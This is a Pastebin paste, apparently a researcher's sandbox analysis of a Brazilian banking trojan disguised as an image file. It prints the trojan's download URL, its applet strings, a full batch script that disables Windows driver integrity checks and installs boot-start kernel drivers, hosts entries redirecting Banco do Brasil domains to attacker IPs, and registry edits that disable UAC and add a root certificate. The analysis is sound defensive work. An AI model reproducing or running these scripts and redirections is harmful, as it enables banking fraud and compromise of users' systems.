API tools faq
paste
Advertisement
Guest User

Malware code

a guest
May 18th, 2011
1,123
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 7.12 KB | None | 0 0
raw download clone embed print report
  1. kaiuxSandBox $ wget -c http://mundocanibal.uol.com.br/orkut/imagens/hs/barra.jpg
  2. --2011-05-18 23:55:18--  http://mundocanibal.uol.com.br/orkut/imagens/hs/barra.jpg
  3. Resolving mundocanibal.uol.com.br... 200.147.32.122, 200.147.0.120, 200.147.0.121, ...
  4. Connecting to mundocanibal.uol.com.br|200.147.32.122|:80... connected.
  5. HTTP request sent, awaiting response... 200 OK
  6. Length: 128035 (125K) [image/jpeg]
  7. Saving to: `barra.jpg'
  8.  
  9. 100%[==============================================================================================================================>] 128,035     68.6K/s   in 1.8s    
  10.  
  11. 2011-05-18 23:55:19 (68.6 KB/s) - `barra.jpg' saved [128035/128035]
  12.  
  13. kaiuxSandBox $ file barra.jpg
  14. barra.jpg: Zip archive data, at least v2.0 to extract
  15. kaiuxSandBox $
  16. kaiuxSandBox $
  17. kaiuxSandBox $ unzip barra.jpg
  18. Archive:  barra.jpg
  19.   inflating: META-INF/MANIFEST.MF    
  20.   inflating: META-INF/NOVO.SF        
  21.   inflating: META-INF/NOVO.RSA      
  22.   inflating: le.class                
  23.   inflating: a                      
  24.   inflating: .project                
  25.   inflating: .classpath              
  26.  
  27.  
  28. kaiuxSandBox $
  29. kaiuxSandBox $
  30. kaiuxSandBox $ strings le.class
  31. java/applet/Applet
  32. serialVersionUID
  33. ConstantValue
  34. Ljava/lang/String;
  35. BAR1
  36. LIN1
  37. TEM1
  38. IPPP1
  39. IPP1
  40. IPPP2
  41. IPP2
  42. VSYS
  43. VSYS1
  44. VSYS64
  45. VSYS164
  46. BA64
  47. BAT64
  48. CMS1
  49. CMS64
  50. CMS164
  51. CMSS
  52. CMSS1
  53. CMSS64
  54. CMSS164
  55. URLX
  56. URLX1
  57. sann
  58.     local_dns
  59. local_dnss
  60. dns_goo
  61.     dns_googl
  62. wifi_dns
  63.     wifi_dnss
  64. wifi_googl
  65. wifi_google
  66. RANDO
  67. IP_PH1
  68. IP_PH2
  69. JUST1
  70. N_ZIP
  71. X_ZIP
  72. BARRA
  73. PULAR
  74. TEMPO
  75. C_LIX
  76. C_HOST
  77. C_SYS
  78. C_SYS64
  79. C_JAVA
  80. ST_HOST
  81. ST_JAVA
  82. aaaooo
  83. <clinit>
  84. Code   
  85. java/lang/String
  86. <init>
  87. ([B)V  
  88. LineNumberTable
  89. LocalVariableTable
  90. java/lang/Math
  91. random
  92. hs_err_pid_0x00001 
  93. java/lang/StringBuilder
  94. valueOf
  95. (I)Ljava/lang/String;
  96. (Ljava/lang/String;)V
  97. .tmp
  98. append
  99. -(Ljava/lang/String;)Ljava/lang/StringBuilder;
  100. toString
  101. ()Ljava/lang/String;   
  102. java/lang/System
  103. getProperty
  104. &(Ljava/lang/String;)Ljava/lang/String;
  105. &(Ljava/lang/Object;)Ljava/lang/String;
  106. WINDOWS
  107. system32
  108. drivers
  109. hosts  
  110.     java.home
  111. security
  112. java.policy
  113. this
  114. Lle;
  115. paint
  116. (Ljava/awt/Graphics;)V 
  117. java/awt/Color
  118. darkGray
  119. Ljava/awt/Color;
  120. java/awt/Graphics
  121. setColor
  122. (Ljava/awt/Color;)V
  123. drawString
  124. (Ljava/lang/String;II)V
  125. Ljava/awt/Graphics;
  126. Pausar
  127. (I)V
  128. currentTimeMillis
  129. StackMapTable
  130. H32A
  131. '(Ljava/lang/String;Ljava/lang/String;)V
  132. java/io/File
  133. exists
  134. java/net/URL
  135. openConnection
  136. ()Ljava/net/URLConnection;
  137. java/net/URLConnection
  138. getInputStream
  139. ()Ljava/io/InputStream;
  140. java/io/BufferedInputStream
  141. (Ljava/io/InputStream;)V
  142. java/io/FileOutputStream
  143. java/io/BufferedOutputStream
  144. (Ljava/io/OutputStream;)V
  145. write
  146. read
  147. flush
  148. close
  149. java/io/IOException
  150. URLexterna
  151. SalvarComo
  152. files
  153. Ljava/io/File;
  154. Ljava/net/URL;
  155. connection
  156. Ljava/net/URLConnection;
  157. stream
  158. Ljava/io/InputStream;
  159. Ljava/io/BufferedInputStream;
  160. file
  161. Ljava/io/FileOutputStream;
  162. Ljava/io/BufferedOutputStream;
  163. java/io/InputStream
  164. H32C
  165. HostURL
  166. H31S
  167. java/io/FileWriter
  168. (Ljava/io/File;Z)V
  169. Local
  170. Dados
  171. filewriter
  172. Ljava/io/FileWriter;
  173. H32F
  174. java/io/FileInputStream
  175. (Ljava/io/File;)V
  176. java/io/OutputStream
  177. ([BII)V
  178. ([B)I
  179. java/io/FileNotFoundException
  180. Destino
  181. Ljava/io/OutputStream;
  182. H32B
  183. java/lang/Runtime
  184. getRuntime
  185. ()Ljava/lang/Runtime;
  186. exec
  187. '(Ljava/lang/String;)Ljava/lang/Process;
  188. valor
  189. H24D
  190. java/lang/Object
  191. getClass
  192. ()Ljava/lang/Class;
  193. java/lang/Class
  194. getResourceAsStream
  195. )(Ljava/lang/String;)Ljava/io/InputStream;
  196. H24Z
  197. java/util/zip/ZipFile
  198. entries
  199. ()Ljava/util/Enumeration;
  200. java/util/Enumeration
  201. nextElement
  202. ()Ljava/lang/Object;
  203. java/util/zip/ZipEntry
  204. /(Ljava/util/zip/ZipEntry;)Ljava/io/InputStream;
  205. getName
  206. (Ljava/io/OutputStream;I)V
  207. ([BII)I
  208. hasMoreElements
  209. zipname
  210. xDir
  211. zipFile
  212. Ljava/util/zip/ZipFile;
  213. enumeration
  214. Ljava/util/Enumeration;
  215. zipEntry
  216. Ljava/util/zip/ZipEntry;
  217. size
  218. buffer
  219. os.name
  220. Windows
  221. contains
  222. (Ljava/lang/CharSequence;)Z
  223. ProgramFiles(x86)
  224. getenv
  225. os.arch
  226. indexOf
  227. (Ljava/lang/String;)I
  228. eh64
  229. FFexists
  230.     user.home
  231. endsWith
  232. (Ljava/lang/String;)Z
  233. Application Data
  234. Mozilla
  235. Firefox
  236. Dados de aplicativos
  237. AppData
  238. Roaming
  239. profiles.ini
  240. GetFFdir
  241. java/lang/Exception
  242. U_HOME
  243. STR1
  244. STR2
  245. STR3
  246. arq1
  247. arq2
  248. arq3
  249. java/io/DataInputStream
  250. java/io/BufferedReader
  251. java/io/InputStreamReader
  252. (Ljava/io/Reader;)V
  253.     Path=(.*)
  254. java/util/regex/Pattern
  255. compile
  256. -(Ljava/lang/String;)Ljava/util/regex/Pattern;
  257. matcher
  258. 3(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
  259. java/util/regex/Matcher
  260. find
  261. group
  262. replace
  263. (CC)Ljava/lang/String;
  264. cert_override.txt
  265. readLine
  266. Where
  267. fstream
  268. Ljava/io/FileInputStream;
  269. Ljava/io/DataInputStream;
  270. Ljava/io/BufferedReader;
  271. strLine
  272. Filtrar
  273. Ljava/util/regex/Pattern;
  274. Buscar
  275. Ljava/util/regex/Matcher;
  276. ProfilesDIR
  277. toLowerCase
  278.     windows 7
  279. Windows7
  280. windows vista
  281. WindowsVista
  282. windows xp
  283.     WindowsXP
  284. windows nt
  285.     WindowsNT
  286. H922
  287. ((Ljava/lang/String;Ljava/lang/Boolean;)V
  288. java/lang/Boolean
  289. booleanValue
  290. Ccmd /c %tmp%\bcdedit.exe -set loadoptions DDISABLE_INTEGRITY_CHECKS
  291. ,cmd /c %tmp%\bcdedit.exe -set TESTSIGNING ON
  292. cmd /c del %tmp%\aaa.bat
  293.     estrutura
  294. Ljava/lang/Boolean;
  295. init
  296. windows
  297. ,cmd /c mkdir c:\windows\syswow64\drivers\etc
  298. (Z)Ljava/lang/Boolean;
  299. &estrutura=
  300. (Z)Ljava/lang/StringBuilder;
  301. SourceFile
  302. le.java
  303.  
  304.  
  305.  
  306. kaiuxSandBox $ file a
  307. a: Zip archive data, at least v2.0 to extract
  308. kaiuxSandBox $
  309. kaiuxSandBox $
  310. kaiuxSandBox $
  311. kaiuxSandBox $
  312. kaiuxSandBox $
  313. kaiuxSandBox $ unzip a
  314. Archive:  a
  315.   inflating: plusdriver.sys          
  316.   inflating: plusdriver64.sys        
  317.   inflating: aaa.bat                
  318.   inflating: add.reg                
  319.   inflating: bcdedit.exe            
  320.   inflating: cert_override.txt      
  321.  
  322. ##### Interesting about plusdriver.sys  
  323.  
  324. c:\sys\32\objchk_wxp_x86\i386\ag02.pdb
  325. 216.155.133.236 www2.bancobrasil.com.br
  326. 216.155.133.237 aapj.bb.com.br
  327. 127.0.0.1   localhost
  328. Hosts doWindows
  329. Exemplo:
  330. 127.0.0.1 www.microsof.com.br
  331.  
  332. RtlInitUnicodeString
  333.  
  334.  
  335. kaiuxSandBox $
  336. kaiuxSandBox $ cat aaa.bat
  337. @echo off
  338. @break off
  339.  
  340. cmd /c %tmp%\\bcdedit.exe -set loadoptions DDISABLE_INTEGRITY_CHECKS
  341.  
  342. cmd /c %tmp%\\bcdedit.exe -set TESTSIGNING ON
  343.  
  344. cmd /c copy %tmp%\\plusdriver64.sys %windir%\\SysWOW64\\drivers
  345.  
  346. cmd /c copy %tmp%\\plusdriver.sys %windir%\\System32\\drivers
  347.  
  348. cmd /c sc create driverusbplus64 binPath= "SysWOW64\drivers\plusdriver64.sys" group= "Act Plus Group" type= kernel start= boot error= normal DisplayName= "driverusbplus64"
  349.  
  350. cmd /c sc create driverusbplus binPath= "System32\drivers\plusdriver.sys" group= "Act Plus Group" type= kernel start= boot error= normal DisplayName= "driverusbplus"
  351.  
  352. cmd /c del %tmp%\\aaa.bat
  353. cmd /c del %tmp%\\plusdriver64.sys
  354. cmd /c del %tmp%\\plusdriver.sys
  355. cmd /c del %tmp%\\add.reg
  356. cmd /c del %tmp%\\bcdedit.exe
  357. cmd /c del %tmp%\\cert_override.txt
  358.  
  359. ##### Trying to change Root' Cert?
  360. kaiuxSandBox $ cat add.reg
  361. .....
  362.  
  363. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
  364. "EnableLUA"=dword:00000000
  365.  
  366. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\26ED6B892DA143F2A6B9E036C5CDDF85CBC0765D]
  367. "Blob"=hex:04,00,00,00,01,00,00,00,10,00,00,00,77,b4,55,9c,b0,8a,a6,19,b8,8b,\
  368. .....
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!